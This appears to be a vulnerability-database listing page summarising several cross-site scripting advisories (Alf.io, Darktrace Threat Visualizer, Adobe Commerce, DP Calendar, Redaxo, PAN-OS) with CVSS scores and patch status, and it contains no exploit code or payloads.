Alf.io is a free and open source event attendance management system. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Alf
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

DOM-based HTML injection vulnerability in the main page of Darktrace Threat Visualizer version 6.1.27 (bundle version 61050) and before has been identified. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Redirect Threat Visualizer
NVD
EPSS 1% CVSS 9.1
CRITICAL PATCH Act Now

Adobe Commerce versions 2.4.6-p3, 2.4.5-p5, 2.4.4-p6 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin attacker to inject malicious. Rated critical severity (CVSS 9.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Commerce
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Adobe Commerce versions 2.4.6-p3, 2.4.5-p5, 2.4.4-p6 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Adobe XSS Commerce
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

XSS vulnerability in DP Calendar component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dpcalendar
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in Redaxo v5.15.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter in the Template section. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Redaxo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the Captive Portal feature of Palo Alto Networks PAN-OS software enables execution of malicious JavaScript (in the context of an authenticated. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Paloalto Pan Os
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39114

Related CWEs

MITRE ATT&CK

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